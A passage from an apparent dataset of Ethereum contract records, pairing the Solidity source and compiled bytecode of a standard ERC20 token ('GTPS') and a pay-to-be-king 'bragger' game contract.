modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract GTPS is BurnableToken {
string public constant name = "Global Transaction Payment Solution";
string public constant symbol = "GTPS";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 500000000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610600565b60405180821515815260200191505060405180910390f35b6101e96106f2565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f8565b60405180821515815260200191505060405180910390f35b61028b6109e2565b6040518082815260200191505060405180910390f35b6102a96109e7565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b81019080803590602001909291905050506109f8565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bbe565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e4f565b6040518082815260200191505060405180910390f35b6103b1610e98565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ebc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ef5565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110c9565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112c5565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061134c565b005b6040518060600160405280602381526020016114cf6023913981565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561073357600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061080683600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149b90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061089b83600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f1838261149b90919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6601c6bf526340000281565b60008111610a0557600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a5157600080fd5b6000339050610aa882600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149b90919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b008260015461149b90919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ccf576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d63565b610ce2838261149b90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f475450530000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f3057600080fd5b610f8282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b290919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061115a82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113a457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113de57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114a757fe5b818303905092915050565b6000808284019050838110156114c457fe5b809150509291505056fe476c6f62616c205472616e73616374696f6e205061796d656e7420536f6c7574696f6ea26469706673582212201a93ca45cf2e4e1f96fe70ea5f1c6cd1d8e5ef7496cbf35fb102420693aaab5564736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,110 |
0xa93da2147eabb1e517cc17d2d7f6bfa7f15ee389 | pragma solidity ^0.4.24;
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract braggerContract {
/*********************************/
/*********** MAPPINGS ************/
/*********************************/
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) private isUser;
mapping (address => bool) private hasPicture;
mapping (address => string) private userWalletToUserName;
mapping (string => address) private userNameToUserWallet;
mapping (string => string) private userNameToPicture;
mapping (address => string) private userWalletToPicture;
mapping (address => uint256) private fineLevel;
/*********************************/
/************* EVENTS ************/
/*********************************/
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/*********************************/
/******** FREE VARIABLES *********/
/*********************************/
address public ownerAddress = 0x000;
address private bragAddress = 0x04fd8fcff717754dE3BA18dAC22A5Fda7D69658E;
string private initialQuote = "Teach your people with your wisdom.";
/******SET PICTURE*/
string private initialPicture = "https://cdn2.iconfinder.com/data/icons/ios-7-icons/50/user_male2-512.png";
uint256 basicFine = 25000000000000000;
uint256 totalBraggedValue = 0;
uint256 winningpot = 0;
uint256 totalbrags = 0;
bool payoutReady;
bool payoutRequested;
uint256 payoutBlock;
/*********************************/
/*********** DATA TYPES **********/
/*********************************/
struct Bragger{
address braggerAddress;
uint256 braggedAmount;
string braggerQuote;
}
Bragger[] private braggers;
struct User{
address userAddress;
string userName;
}
User[] private users;
/*********************************/
/*********** MODIFIER ************/
/*********************************/
/// @dev Access modifier for CEO-only functionality
modifier onlyCreator() {
require(msg.sender == ownerAddress);
_;
}
/*********************************/
/********** CONSTRUCTOR **********/
/*********************************/
constructor() public {
payoutRequested = false;
payoutReady = false;
ownerAddress = msg.sender;
}
/*********************************/
/******* PAYOUT FUNCTIONS ********/
/*********************************/
function requestPayout() public {
//require(isUser[msg.sender]);
if(!getPayoutRequestedState()) {
payoutRequested = true;
payoutBlock = SafeMath.add(block.number, 17280);
}
}
function delayPayout() public payable {
require(getPayoutRequestedState());
//require(isUser[msg.sender]);
require(msg.value>=2500000000000000);
payoutBlock = SafeMath.add(payoutBlock, 240);
bragAddress.transfer(msg.value);
}
function triggerPayout() public {
//require(isUser[msg.sender]);
require(checkPayoutReadyState());
address _winner = braggers[braggers.length-1].braggerAddress;
_winner.transfer(getWinnerPot());
payoutBlock = 0;
payoutRequested = false;
}
function checkPayoutReadyState() public returns(bool){
if(block.number >= payoutBlock && payoutBlock != 0){
payoutReady = true;
return true;
}
if(block.number < payoutBlock){
payoutReady = false;
return false;
}
}
/*********************************/
/************ GETTERS ************/
/*********************************/
function getPayoutRequestedState() public view returns(bool){
return payoutRequested;
}
function getPayoutReadyState() public view returns(bool){
if(block.number>=payoutBlock && payoutBlock != 0){
return true;
}
if(block.number < payoutBlock){
return false;
}
}
function getCurrentPayoutBlock() public view returns(uint){
return payoutBlock;
}
function getRemainingBlocksUntilPayoutk() public view returns(uint){
return SafeMath.sub(payoutBlock, block.number);
}
function getTotalBraggedVolume() public view returns (uint256 _amount){
return totalBraggedValue;
}
function getCurrentBragKing() public view returns(address _bragger, uint256 _amount, string _quote, string _username, string _picture){
_bragger = braggers[braggers.length-1].braggerAddress;
_amount = braggers[braggers.length-1].braggedAmount;
_quote = braggers[braggers.length-1].braggerQuote;
if(isAlreadyUser(_bragger)){
_username = getUserNameByWallet(_bragger);
} else {
_username = "";
}
if(hasPicture[_bragger]){
_picture = userWalletToPicture[_bragger];
} else {
_picture = initialPicture;
}
return (_bragger, _amount, _quote, _username, _picture);
}
function arrayLength()public view returns(uint256 length){
length = braggers.length;
return length;
}
function getBraggerAtIndex(uint256 _index) public view returns(address _bragger, uint256 _brag, string _username, string _picture){
_bragger = braggers[_index].braggerAddress;
_brag = braggers[_index].braggedAmount;
if(isAlreadyUser(_bragger)){
_username = getUserNameByWallet(_bragger);
} else {
_username = "";
}
if(hasPicture[_bragger]){
_picture = userWalletToPicture[_bragger];
} else {
_picture = initialPicture;
}
return (_bragger, _brag, _username, _picture);
}
function getUserNameByWallet(address _wallet) public view returns (string _username){
require(isAlreadyUser(_wallet));
_username = userWalletToUserName[_wallet];
return _username;
}
function getUserPictureByWallet(address _wallet) public view returns (string _url){
require(isAlreadyUser(_wallet));
_url = userWalletToPicture[_wallet];
return _url;
}
function getUserWalletByUsername(string _username) public view returns(address _address){
address _user = userNameToUserWallet[_username];
return (_user);
}
function getUserPictureByUsername(string _username) public view returns(string _url){
_url = userNameToPicture[_username];
return (_url);
}
function getFineLevelOfAddress(address _user) public view returns(uint256 _fineLevel, uint256 _fineAmount){
_fineLevel = fineLevel[_user];
_fineAmount = _fineLevel * basicFine;
return (_fineLevel, _fineAmount);
}
function getFineLevelOfUsername(string _username) public view returns(uint256 _fineLevel, uint256 _fineAmount){
address _user = userNameToUserWallet[_username];
_fineLevel = fineLevel[_user];
_fineAmount = _fineLevel * basicFine;
return (_fineLevel, _fineAmount);
}
function getTotalBrags() public view returns(uint256){
return totalbrags;
}
function getWinnerPot() public view returns(uint256){
return winningpot;
}
/*********************************/
/****** BRAGING FUNCTIONS ********/
/*********************************/
function getCurrentPot() public view returns (uint256 _amount){
return address(this).balance;
}
function brag() public payable{
uint256 shortage = SafeMath.mul(30,SafeMath.div(msg.value, 100));
if(braggers.length != 0){
require(braggers[braggers.length-1].braggedAmount < msg.value);
}
Bragger memory _bragger = Bragger({
braggerAddress: msg.sender,
braggedAmount: msg.value,
braggerQuote: initialQuote
});
braggers.push(_bragger);
totalBraggedValue = totalBraggedValue + msg.value;
winningpot = winningpot + SafeMath.sub(msg.value, shortage);
bragAddress.transfer(shortage);
totalbrags += 1;
}
/*********************************/
/******* USER INTERACTION ********/
/*********************************/
function setTheKingsQuote(string _message) public payable{
if(fineLevel[msg.sender] > 0){
require(msg.value >= (basicFine * fineLevel[msg.sender]));
}
address currentKing = braggers[braggers.length-1].braggerAddress;
require(msg.sender == currentKing);
braggers[braggers.length-1].braggerQuote = _message;
}
/*********************************/
/********* USER CREATION *********/
/*********************************/
function isAlreadyUser(address _address) public view returns (bool status){
if (isUser[_address]){
return true;
} else {
return false;
}
}
function hasProfilePicture(address _address) public view returns (bool status){
if (isUser[_address]){
return true;
} else {
return false;
}
}
function createNewUser(string _username, string _pictureUrl) public {
require(!isAlreadyUser(msg.sender));
User memory _user = User({
userAddress: msg.sender,
userName: _username
});
userWalletToUserName[msg.sender] = _username;
userNameToUserWallet[_username] = msg.sender;
userNameToPicture[_username] = _pictureUrl;
userWalletToPicture[msg.sender] = _pictureUrl;
fineLevel[msg.sender] = 0;
users.push(_user) - 1;
isUser[msg.sender] = true;
hasPicture[msg.sender] = true;
}
/*********************************/
/******** OWNER FUNCTIONS ********/
/*********************************/
function resetQuote()public onlyCreator{
braggers[braggers.length-1].braggerQuote = initialQuote;
fineLevel[braggers[braggers.length-1].braggerAddress] = fineLevel[braggers[braggers.length-1].braggerAddress] + 1;
}
function resetUsername(string _username)public onlyCreator{
address user = userNameToUserWallet[_username];
userWalletToUserName[user] = "Mick";
fineLevel[user] = fineLevel[user] + 1;
}
function resetUserPicture(string _username)public onlyCreator{
address user = userNameToUserWallet[_username];
userWalletToPicture[user] = initialPicture;
fineLevel[user] = fineLevel[user] + 1;
}
/********** ResetUserPicture */
/*********************************/
/******** LEGACY FUNCIONS ********/
/*********************************/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function reset()public onlyCreator {
selfdestruct(ownerAddress);
}
}
/*********************************/
/*********** CALC LIB ************/
/*********************************/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0x6080604052600436106101cb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166210ed9981146101d057806305a95f04146102e6578063095ea7b3146102fd5780631322e9d01461033557806323b872dd1461034a5780632de3ad0214610374578063306781c1146103e95780634dfa3f181461041057806365058f4c146104a757806366ec60c7146104bc57806369ddaad11461052e57806370a08231146105435780637a55d4bd146105645780637b24a251146106dd5780638925d7bb146106fe5780638f84aa091461071357806395a3bf6e146107285780639bef0c471461073d5780639f468e8e146106dd578063a0b43a4e146107d3578063a9059cbb146107e8578063ac5885361461080c578063ae014f1d14610814578063b2a9ab9c14610835578063b8bf0f1f1461084a578063b9d5d7fe1461085f578063ba770154146108b8578063c394690914610911578063cae9ca511461095d578063cb0cedb8146109c6578063d826f88f146109e7578063dd62ed3e146109fc578063e554482e14610a23578063e7eed1f714610a38578063ec64f52f14610a4d578063efd0c85114610a55578063f90f327814610a6a575b600080fd5b3480156101dc57600080fd5b506101e8600435610ac3565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200180602001838103835285818151815260200191508051906020019080838360005b8381101561024757818101518382015260200161022f565b50505050905090810190601f1680156102745780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b838110156102a757818101518382015260200161028f565b50505050905090810190601f1680156102d45780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b3480156102f257600080fd5b506102fb610ca8565b005b34801561030957600080fd5b50610321600160a060020a0360043516602435610d33565b604080519115158252519081900360200190f35b34801561034157600080fd5b50610321610d5d565b34801561035657600080fd5b50610321600160a060020a0360043581169060243516604435610da8565b34801561038057600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526103cd943694929360249392840191908190840183828082843750949750610e179650505050505050565b60408051600160a060020a039092168252519081900360200190f35b3480156103f557600080fd5b506103fe610e8a565b60408051918252519081900360200190f35b34801561041c57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102fb94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750610e909650505050505050565b3480156104b357600080fd5b506102fb6110f3565b3480156104c857600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526105159436949293602493928401919081908401838280828437509497506111229650505050505050565b6040805192835260208301919091528051918290030190f35b34801561053a57600080fd5b506102fb6111b1565b34801561054f57600080fd5b506103fe600160a060020a036004351661129c565b34801561057057600080fd5b506105796112ae565b6040518086600160a060020a0316600160a060020a03168152602001858152602001806020018060200180602001848103845287818151815260200191508051906020019080838360005b838110156105dc5781810151838201526020016105c4565b50505050905090810190601f1680156106095780820380516001836020036101000a031916815260200191505b50848103835286518152865160209182019188019080838360005b8381101561063c578181015183820152602001610624565b50505050905090810190601f1680156106695780820380516001836020036101000a031916815260200191505b50848103825285518152855160209182019187019080838360005b8381101561069c578181015183820152602001610684565b50505050905090810190601f1680156106c95780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390f35b3480156106e957600080fd5b50610321600160a060020a0360043516611557565b34801561070a57600080fd5b506103fe611589565b34801561071f57600080fd5b506103cd61158f565b34801561073457600080fd5b5061032161159e565b34801561074957600080fd5b5061075e600160a060020a03600435166115ac565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610798578181015183820152602001610780565b50505050905090810190601f1680156107c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107df57600080fd5b506103fe61166b565b3480156107f457600080fd5b506102fb600160a060020a0360043516602435611671565b6102fb611680565b34801561082057600080fd5b5061075e600160a060020a03600435166116f3565b34801561084157600080fd5b506103fe61177b565b34801561085657600080fd5b506103fe611781565b34801561086b57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102fb9436949293602493928401919081908401838280828437509497506117949650505050505050565b3480156108c457600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261075e9436949293602493928401919081908401838280828437509497506118799650505050505050565b6040805160206004803580820135601f81018490048402850184019095528484526102fb9436949293602493928401919081908401838280828437509497506119369650505050505050565b34801561096957600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610321948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506119e59650505050505050565b3480156109d257600080fd5b50610515600160a060020a0360043516611afe565b3480156109f357600080fd5b506102fb611b21565b348015610a0857600080fd5b506103fe600160a060020a0360043581169060243516611b46565b348015610a2f57600080fd5b506103fe611b63565b348015610a4457600080fd5b506103fe611b69565b6102fb611b6e565b348015610a6157600080fd5b50610321611da9565b348015610a7657600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102fb943694929360249392840191908190840183828082843750949750611ddd9650505050505050565b600080606080601385815481101515610ad857fe5b600091825260209091206003909102015460138054600160a060020a0390921695509086908110610b0557fe5b9060005260206000209060030201600101549250610b2284611557565b15610b3757610b30846116f3565b9150610b49565b60408051602081019091526000815291505b600160a060020a03841660009081526003602052604090205460ff1615610c1357600160a060020a03841660009081526007602090815260409182902080548351601f600260001961010060018616150201909316929092049182018490048402810184019094528084529091830182828015610c075780601f10610bdc57610100808354040283529160200191610c07565b820191906000526020600020905b815481529060010190602001808311610bea57829003601f168201915b50505050509050610ca1565b600c805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610c995780601f10610c6e57610100808354040283529160200191610c99565b820191906000526020600020905b815481529060010190602001808311610c7c57829003601f168201915b505050505090505b9193509193565b6000610cb2610d5d565b1515610cbd57600080fd5b601380546000198101908110610ccf57fe5b6000918252602090912060039091020154600160a060020a03169050806108fc610cf761166b565b6040518115909202916000818181858888f19350505050158015610d1f573d6000803e3d6000fd5b505060006012556011805461ff0019169055